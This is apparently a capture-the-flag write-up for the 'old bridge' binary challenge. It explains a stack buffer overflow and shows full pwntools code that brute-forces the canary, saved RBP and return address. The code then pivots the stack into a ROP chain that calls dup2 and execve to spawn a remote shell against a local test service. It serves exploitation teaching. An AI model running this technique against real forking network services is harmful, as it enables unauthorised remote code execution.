# old bridge

The file have almost all protections but the reallocation read only enabed.

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-88263fbebcaa53e71076bfa7c47ec30043175692%2FPasted%20image%2020250107214707.png?alt=media" alt="Pasted image 20250107214707.png"><figcaption></figcaption></figure>

We can put this binary in IDA to the a disassemble.

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-10a57e6465c351bf3b6d0db5d8d13f1c93f9600b%2FPasted%20image%2020250107201038.png?alt=media" alt="Pasted image 20250107201038.png"><figcaption></figcaption></figure>

This part of the program consists in setting up a listener on the port provided in the `argv[1]`. When a connection is received, the program calls `fork()` before sending the file descriptor of the connection to `check_username()`.

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-c32cd66aedde56774c18f289be9e80c824c82f8f%2FPasted%20image%2020250107201434.png?alt=media" alt="Pasted image 20250107201434.png"><figcaption></figcaption></figure>

We can clearly see a buffer overflow on the line 12, where the function `read` reads **1056** bytes from the file descriptor and writes it into the `buf[1032]` array. After it, the program does a XOR operation to the entire received array with the `0x0D` byte and compare the start of the xored array with the string "davide".

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-e7c7079e6245a77cf3e56693b933debeee9bd053%2FPasted%20image%2020250107221711.png?alt=media" alt="Pasted image 20250107221711.png"><figcaption></figcaption></figure>

Back on the main function, the program checks the result of `check_username()` and, if it went with success, the it prints the string "**Username found**", if not, it just exits.

To explore this in order to control the execution flow, we must get a way to leak the canary value. As mentioned before, the binary calls `fork()` before calling `check_username()`, so we can use brute it byte per byte using the same technique used on the rope machine taking advantage that we can differentiate when the program crashes by receiving or not the username found string.

```python
import sys
from pwn import *

SERVER, PORT = ("localhost", 1337)
context.arch = "amd64"
CRASH = 1032

def brute_8_bytes(data, pre_payload, delay=0.250):
    content = b""

    while len(content) != 8:
        for i in range(256):
	        print(f"trying byte {hex(i)}\r", end='')
            byte = p8(i)
            
            r = remote(SERVER, PORT, level="warning")
            r.send(pre_payload + content + byte)                
            res = r.clean(timeout=delay)
            r.close()

            if b"Username found!\n" in res:
                content += byte
                log.info(f"{data} updated: {content}")
                break

    return content, xor(content, 0xd)

payload  = b"davide" 
payload += b'A' * (CRASH - len(payload))

xored_canary, canary = brute_8_bytes("canary", payload, 0.05)
log.success(f"canary found: {hex(u64(xored_canary))} ({hex(u64(canary))})")
breakpoint()
```

Executing it and reading the canary value, we got a QWORD that seems like a canary.

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-e526b2119058a24787d85935549b1a9e2305c198%2FPasted%20image%2020250107223143.png?alt=media" alt="Pasted image 20250107223143.png"><figcaption></figcaption></figure>

Let's attach a debugger and use the pwndbg's `canary` command to verify the value.

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-f34470a98827d31062750e83bb97399730b45ae3%2FPasted%20image%2020250107223316.png?alt=media" alt="Pasted image 20250107223316.png"><figcaption></figcaption></figure>

As we only have 24 bytes after the crash, we cannot store a ROP chain in the end of the payload, so we need to use a technique called [stack pivoting](https://ir0nstone.gitbook.io/notes/binexp/stack/stack-pivoting) in order to store our chain in the start of the payload.

To explore this, we would need to use a `leave` instruction to change the value stored in RBP to RSP, effectively controlling the stack start.

As detailed in my rope writeup, we would need to brute RBP in order to get the return address, so we can use our `brute_8_bytes` function.

```python
payload += xored_canary
xored_rbp, rbp = brute_8_bytes("rbp", payload, 0.05)
log.success(f"rbp found: {hex(u64(xored_rbp))} ({hex(u64(rbp))})")

payload_offset = u64(rbp) - 0x480
log.info(f"calculated payload offset: {hex(payload_offset)}")

payload += xored_rbp
xored_rip, rip = brute_8_bytes("rip", payload, 0.05)
rip = b"\xcf" + rip[1:]
breakpoint()
```

After run the current version of the exploit, we can get the return address.

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-079daa3f271337cca1ec2260879c16360a4235dc%2FPasted%20image%2020250107225251.png?alt=media" alt="Pasted image 20250107225251.png"><figcaption></figcaption></figure>

Now, we can calculate the libc address value by simply subtracting the offset from the value.

```python
elf = ELF("./oldbridge", checksec=False)
elf.address = u64(rip) - 0xECF
log.info(f"calculated elf offset: {hex(elf.address)}")
```

Doing the operation in the debugger, we get this value.

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-47e084a8a6655eda0f261d024f059308d987bc8d%2FPasted%20image%2020250107230557.png?alt=media" alt="Pasted image 20250107230557.png"><figcaption></figcaption></figure>

And when checking it against the base address got from pwndbg's `libs` command.

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-521c357e99a9a3d13e2f072d0a3b856967c99a17%2FPasted%20image%2020250107230451.png?alt=media" alt="Pasted image 20250107230451.png"><figcaption></figcaption></figure>

The challenge has a `syscall` gadget, so we can use it to summon how much syscalls we desire, including `dup2`, to copy the connection file descriptor to the shell stdin and stdout, and the `execve`, to spawn our shell.

```python
LEAVE       = 0x0000000000000b6d    # leave ; ret
POP_RDI     = 0x0000000000000f73    # pop rdi ; ret
POP_RSI_R15 = 0x0000000000000f71    # pop rsi ; pop r15 ; ret
POP_RDX     = 0x0000000000000b53    # pop rdx ; ret
POP_RAX     = 0x0000000000000b51    # pop rax ; ret
SYSCALL     = 0x0000000000000b55    # syscall

breakpoint()

payload = b"davide"
payload += flat(
    0,                          # pop rbp

    elf.address + POP_RAX,
    33,                         # dup2 syscall
    elf.address + POP_RDI,
    4,                          # oldfd
    elf.address + POP_RSI_R15,  
    0,                          # newfd -> stdin
    0,                          # r15
    elf.address + SYSCALL,

    elf.address + POP_RAX,
    33,                         # dup2 syscall
    elf.address + POP_RDI,
    4,                          # oldfd
    elf.address + POP_RSI_R15,  
    1,                          # newfd -> stdout
    0,                          # r15
    elf.address + SYSCALL,

    elf.address + POP_RAX,
    59,                         # dup2 syscall
    elf.address + POP_RDI,
    payload_offset + 6 + (8 * 27), # file_name -> /bin/sh addr
    elf.address + POP_RSI_R15,  
    0,                          # argv -> NULL
    0,                          # r15
    elf.address + POP_RDX,
    0,                          # envp -> NULL
    elf.address + SYSCALL,

    b"/bin/sh\x00"
)

payload += b"A" * (CRASH - len(payload))
payload += flat(
    canary,
    payload_offset + 6,
    elf.address + LEAVE
)


while True:
    try:
        r = remote(SERVER, PORT)
        r.sendafter(b"Username: ", xor(payload, 0xd))
        r.send(b"id\x0a")
        res = r.clean(1)

        if b"uid" in res:
            r.interactive()
            r.close()
            r.close()
    except:
        r.close()
```

Executing the exploit and after a few tries, we got execution xD!

<figure><img src="https://885529919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTV5GqrVIcnyUY6YquMpx%2Fuploads%2Fgit-blob-2250c54f2297c4abea117db66f89364c541bfb37%2FScreenshot_20250107_231813.png?alt=media" alt="Screenshot_20250107_231813.png"><figcaption></figcaption></figure>
